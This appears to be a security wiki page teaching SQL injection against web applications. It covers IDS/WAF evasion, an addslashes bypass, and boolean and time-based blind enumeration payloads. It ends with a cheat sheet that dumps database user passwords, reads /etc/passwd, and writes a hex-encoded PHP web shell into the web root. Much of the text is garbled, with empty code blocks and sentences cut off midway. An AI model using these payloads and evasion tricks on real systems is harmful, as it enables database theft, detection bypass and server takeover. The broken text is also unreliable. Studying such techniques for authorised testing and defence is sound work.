{{info|'''[[SQL]] injection''' is a method of [[Web Exploitation|exploiting web applications]] performed over [[HTTP|'''http''' or '''https''']] to compromise the underlying [[Databasing engine|database engine]] supporting dynamic content for the [[Web applications|web application]] itself.  Successful exploitation of an [[SQL]] injection [[Vulnerability|vulnerability]] can result in the attacker gaining unfettered access to the [[Database|database]] and can lead to further [[Privilege escalation|privilege escalation]].}}'''Typically, databases include things like (but not limited to):'''

* [[Authentication credentials]]

= SQL Orientation =

{{info|[[SQL]] Databases are made up of tables.  Tables are created by the developer or architect and are empty on creation.  Similar to a spreadsheet, a table's properties are defined by its columns.  Columns can be different data types (strings, integers, booleans, floats, binary, etc).}}

{{notice|Not everything that works in the SQL console for the affected [[Databasing engine|databasing engine]] will work with the language connector used by the [[vulnerability|vulnerable]] application.}}{{info|Running these statements in the command line for their associated database engines will display the information listed below; however these statements do not typically work when associated with any language connector other than the [[C]] [[API]].}}

{{code|text=<source lang="sql">show databases;</source>}}

* Displays a list of table names in the currently selected database (if no database was specified), or a list of tables in the specified database

{{code|text=<source lang="sql">show tables in information_schema;</source>}}

{{code|text=<source lang="sql">show fields in information_schema.routines;</source>}}

== Basic Queries ==

{{notice|Basic query statements include '''SELECT''', '''UPDATE''', '''INSERT''', and '''DELETE'''.}}

{{info|'''SELECT''' statements can '''contain clauses such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY"''' to find values that match specified patterns and filter results sets.}}{{protip|The '''SELECT statement can''' do more than just selecting an specific item, from a specific column or table - it can '''select multiple columns''' from '''multiple tables''' from '''multiple databases'''.}}* The basic syntax of a '''SELECT''' statement:{{code|text=<source lang="sql">SELECT [column_name(s)] FROM [database_name(s)].[table_name(s)] WHERE [condition] GROUP BY [column_name] ORDER BY [column_name] [asc|DESC]</source>

<i>SELECT can be used with statements such as "WHERE", "LIMIT", "ORDER BY" and "GROUP BY" to find values that match specified patterns.</i>}}

Let's perform a SELECT Query on our "People" Table, for the column "state".

{{code|text=<source lang="sql">SELECT state FROM people;</source>}}

You should get an output similar to the following:

{{code|text=<source lang="sql">SELECT name FROM people WHERE id > 3; </source>}}{{protip|The WHERE clause is like an if statement.}}The above command would logically would be "select the name, from the rows in people where id is greater than three."; Which in this case would return nothing, because we only have IDs 1 and 2.

 

 

 

 

 

 

 

{{code|text=<source lang="sql">

 

 

 

 

 

 

{{code|text=<source lang="sql">

 

 

The LIMIT clause, is very simple. it limits your results.

 

 

 

 

 

 

It is similar to the UPDATE statement in that it allows you to alter the contents of entries in a table. However, the INSERT statement allows you

 

 

 

== Navigating Unfamiliar Databases without the [[C]] [[API]] ==

* '''Show fields''' equivalent:{{code|text=<source lang="sql">select column_name from information_schema.columns where table_name=[table_name] and table_schema=[database_name]</source>}}{{protip|If you know you've only got access to the currently selected database, you can save some time by using the database() function or @@database environment variables, e.g. '''where table_schema &#x3d; database()''' or '''where table_schema &#x3d; @@database'''.}}

{{notice|'''PostgreSQL''' has the '''current_database()''' function in stead of the '''database()''' function.}}

 

 

 

 

 

 

 

 

 

 

 

{{notice|Any time improper sanitizing takes place there is a potential for partial sanitizing, and may make the exploitation process highly difficult if not impossible.}}

 

{{quote|[[PHP]]'s '''addslashes()''' function (now deprecated) relied on the '''unhex()''' function.  The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string.  When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur.  If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote.  When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed.  An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use '''%bf%27''' in a url to '''bypass the use of addslashes()'''.|History}}

 

 

 

 

 

 

Signature evasion is very similar to evading partial sanitizing.  In stead of modifying your characters, an [[IPS]] drops traffic if your characters appear in a particular sequence in order to match a pattern.  By discovering that sequence, we can make adjustments to our queries to evade the [[IPS]] or '''WAF''' in the way of our testing.

Many web application firewalls will recognize the "1=1" simply due to its popularity.  Other queries that are very similar to that may also be noticed.  Lets suppose the signature is looking for something along the lines of [integer][equal sign][integer], or that a request with "AND 1=1" had its connection reset, but the page without the injection continues to load.

Take note of the whitespace around the '''=''' operator.  If there is none, try adding a space.  If there's a space on each side, try removing or adding one to see if there isn't a proper length delimiter on the signature. You may find lopsided, missing, or extra whitespace may bypass signature-based analysis engines.

Because there is usually a size delimiter or a maximum size to the integer, we can exceed that size to stop ourselves from being detected.  Ten digit random numbers, in stead of the single digit predictable numbers might do the trick.

If integers are giving you a hard time, the signature may be tuned too specifically to integers.  Try mixing the comparisons up a bit, using strings or floating point values to de-rail the signature.

In stead of comparing a value like "1=1", try comparing mathematical expressions.  Mathematical expressions may be the key to bypassing your problem if you're still jammed up on a signature detection.

If you're still having problems <i>during testing</i>, this probably isn't your issue.  Try changing the case of the letters making up your boolean operator ('''and''' to '''AnD''' and '''or''' to '''oR''').

{{protip|Many [[IDS]] signatures will look for a boolean operator ("'''and'''" or "'''or'''") before a conditional statement if it is being appended to another conditional statement (e.g. after query reconstruction we have where id&#x3d;1 and 1&#x3d;1, there are two conditions there).}}

{{info|You can use any combination of the above techniques in conjunction with one another as long as your queries still return true and false.}}

{{warning|You'll likely hit a brick wall if you try to bypass the sanitizing by breaking the sanitizing method. In stead, focus on evading the sanitizing by crafting queries that do not require sanitized characters.}}

{{protip|'''MySQL allows for string literals to be passed in hexadecimal format. This is unique to <i>MySQL</i>''':

   '''select 0x616263;'''

<i>'''Therefore,  0x616263 can be used in place of 'abc'.  This will come in handy while exploiting a <u>WHERE</u> clause and not being able to use quotes.'''</i>}}{{info|'''String concatenation can avoid the use of quotes the use of quotes in:'''

=== Whitespace Filtering ===

{{info|We can bypass filtering on the space character by using alternative whitespace characters to the '''space''' character (%20).  Most SQL engines consider a line return (%0a in a *NIX environment, %0a%0d in a Windows environment) or tab characters as valid whitespace:

{{protip|<i>MySQL treats block comments as whitespace.</i>

==SQL Injection: Bypassing XSS Filters==

{{info|If you've run into XSS filtering, chances are the standard comparison operators (&#x3d;, &lt;,&gt;) are being filtered out.  If this is the case, we need to use '''alternative comparison operators''':

{{notice| '''The between operator is universal across all SQL platforms.'''

* <i>The between comparison operator will return true or false based on whether or not the preceding value is between a ceiling and a floor in a range.  For example, 50 is between 0 and 100, but 300 is not, which lets us safely avoid using the '''&#x3d;''' operator in our query:</i>

{{protip|The '''between''' operator can also be used on strings:

===Testing with LIKE===

= Exploiting SQL Injection Vulnerabilities =

== Automation Theory ==

{{notice|The most important thing when automating SQL injection is recognizing boundaries.}}

 

{{warning|Sometimes you won't be able to select integer values when using error-based injection.  There's more than one way to solve this.}}

* method a

Use ORDER by to find the upper most row and lower most row of the results set.  You can stop by starting at an element on one end and then keeping your order by clause intact, incrementing your offset; you'll know when to stop when you've reached the value on the other end of the table.

* method b

attempt to string concatenate a character to the integer to throw an error.  

{{quote|Variables you will need to track for successful automation of exploitation are listed below.  There are other optional variables to track, and this can always be expanded.|Common sense}}

* Comment syntax

==Intermediate Testing: "SELECT" ... LIMIT, ORDER BY, and GROUP BY clause injections==

{{protip|<i>Microsoft SQL Server does not feature this classification of vulnerability due to its lack of a '''LIMIT''' clause.</i>}}

{{quote|<center>To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause you are injecting into.  We'll use the following example '''URI''':</center>

   <i>/view_results.php?start&#x3d;30&perpage&#x3d;10</i>

{{info|A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows.  On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:

}}{{warning|On older versions of MySQL, the '''offset''' operator was not supported. In those cases we'll be using the older syntax:

{{code|text=<source lang="sql">LIMIT $perpage,$start</source>}}

== Advanced Injection: Boolean Enumeration ==

There are primarily two methods to using boolean enumeration.  One involves selecting a byte from a single-cell of a database and testing for true or false against its character or ascii code, the other involves selecting a single-cell and comparing it with a '''regular expression'''.

Fortunately for us, '''universal operators''' and '''universal functions''' include:

   BETWEEN ... AND ...    |   Operator

  &#x3d; &lt; &gt;                  |   Operators

  substring()           |  Function

'''This assists us with crafting uniform queries that affect ALL sql dialects.'''

{{protip|Basic enumeration using standard operators is possible, although usually filtered by one of today's many obstacles to injection attacks, so we'll be using the BETWEEN operator for demonstration purposes in stead.}}

* Always use a LIMIT on select statements in subqueries

* Always use ORDER BY on select statements, and keep it the same.

The ascii() function on any given database engine will return the ascii code for the the character passed to it. If it is passed an entire string, it will return the ascii code for the first character. For example:

  mysql> select ascii('a');

  | ascii('a') |

  1 row in set (0.00 sec)

'''Optimization:'''

* You can use the upper() and lower() functions to convert results to all uppercase or all lowercase.  This will remove a set of ascii characters from possible values during testing.

'''Version fingerprinting with ascii-based boolean enumeration:'''

{{protip|If the '''version()''' function fails, try the '''@@version''' environment variable instead.}}

* The ascii code of the first character of the version string can be accessed by calling:

{{notice|These queries work on MS SQL as well, an MS SQL server was not available during the writing of this article for demonstration.  The same syntax, except using the @@version environment variable applies.}}

Using the '''between ... and ...''' comparison statements, we can isolate the value:

   /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 0 and 127

  /vulnerable.ext?id=1 and ascii(substring(lower(version()),1,1)) between 128 and 255

You can adjust the range delimiters on the '''between''' statement while it returns true until both parameters are equal.  When both parameters are equal and the query returns true, you've found the value of the byte:

   mysql> select * from sample where id=1 and ascii(substring(lower(version()),1,1)) between 53 and 53;

Once we've identified the first byte, we can move from the first to the second by changing:

===Using Regex===

Because PostgreSQL's version() string always starts with 'P' for "PostgreSQL",

== Advanced Injection: Timing attacks ==

===Boolean Enumeration===

For testing purposes we've installed mysql 5.1 locally and created a table called sample:

  mysql> select version();

  | 5.1.58-1ubuntu1 |

  1 row in set (0.00 sec)

  mysql> select * from sample where id=1;

  | id | sample_text        |

  +----+---------------------+

  | 1 | this is sample text |

  +----+---------------------+

  mysql> select * from sample where id=1 and sleep(15);

Notice when injecting that the sleep() function still outputs a false results set, however it takes 15 seconds.  It should take the page less than that to load normally.  We can use this in conjunction with a timer when automating sql injection.  As noted above in the general boolean enumeration section, because we want to evade modern IDS systems, the best option is the REGEXP operator because of its lack of need for quotes,commas, or standard comparison operators ('''&lt;''', '''&#x3d;''', '''&gt;''')

  mysql> select * from sample where id=1 and sleep(cast((select 'a' regexp '^[n-z]') as signed) * 15);

  mysql> select * from sample where id=1 and sleep(cast((select 'x' regexp '^[n-z]') as signed) * 15);

  Empty set ('''15.00 sec''')

Now we have false sleeping for zero seconds and true sleeping for 15 seconds.

  mysql> select table_name from information_schema.tables where table_schema=database() limit 1 offset 0;

  +------------+

  1 row in set (0.00 sec)

 

  mysql> select * from sample where id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[a-m]') as signed) * 15));

  Empty set ('''0.00 sec''')

 

  mysql> select * from sample where id=1 and sleep((select cast((select (select table_name from information_schema.tables where table_schema=database() limit 1 offset 0) regexp '^[n-z]') as signed) * 15));

 

{{protip|Regexp in mysql doesn't need quotes, it is interchangeable with 0xhex!}}

So, an injection URI that utilizes sleep(), cast(), and '''multiplication''' can be used remotely in cases of unpredictable output and without the need for quotes, commas, comment notation, or standard comparison operators ('''&lt;, &#x3d;, &gt;''') to test if the first character of the first table in the database is between '''a''' and '''m''' would look like:

 

 

Similar to mysql, the database will sleep when you select pg_sleep([int]).

 

  and (case when 1 between 1 and 1 then pg_sleep(15) else 9 end) is null

 

 

 

 

 

 

'''Using CASE with the ~ regular expression operator and string concatenation''':

The following will sleep for 15 seconds if the lowercase format of the version string matches '''"^[a-z]"''', the same as the '''(select chr(94)||chr(91)||chr(97)||chr(45)||chr(122)||chr(93))'''. 

 

 

 

 

 

 

 

 

 

'''False''': and 1023947182234 = 4382616621386497

* The '''Between ... And ...''' operators ('''Universal'''):

'''False''': and 328961 between 928172 and 986731

* The '''LIKE''' operator ('''Universal'''):

'''True''': and 'sqltest' like 'sql%'

'''False''': and 'sqltest' like 'not true'

  version()

   group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]

* You can evade the need for quotes by using the 0x[hex] operator.  An example is "select 0x6a6a".  The output is "jj", same as if you were to have run "select 'jj'".

  select schema_name from information_schema.schemata limit 1 offset 0

  select table_name from information_schema.tables where table_schema=database() limit 1 offset 0

   select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0

  select concat(user,0x2f,password) from mysql.user limit 1

   select load_file(0x2f6574632f706173737764)

  select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'

 

* Handy functions & Environment Variables:

   substr()

Quick and common string concatenations:

{{info|String concatenation in postgresql is done using the two pipe operators side by side, e.g. '''"select chr(97)&#x7c;&#x7c;chr(97)"''' is the same as '''"select 'aa'"'''.}}

* Congruent to '''select 'BASE TABLE';''':

  (SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))

* Congruent to '''select 'pg_catalog';''':

  (SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))

 

 

==Microsoft SQL Syntax Reference==

===Microsoft SQL Schema Mapping (Unprivileged)===

  select top 1 table_name from (select top 1 table_name from information_schema.columns where table_catalog=@@database group by table_name order by table_name desc) sq group by table_name order by table_name asc

  select top 1 column_name from (select top 1 column_name from information_schema.columns where table_catalog=@@database and table_name='[table_name]' group by column_name order by column_name asc) sq group by column_name order by column_name desc

===Microsoft SQL Exploitation (Privileged)===

{{protip|Python2.6 and newer defaults to using the PDO library (which uses prepared statements).  Thus, this table only refers to legacy applications built in python versions &lt;&#x3d; 2.4 that require manual sanitizing.}}  <u>[Sanitizes For]  | [Type]  |  [Engine]  | [Example]</u>

==Prepared statements==

= Further Reading =

* [[MySql 5 Enumeration]]

* [[Wordpress Fingerprinting]]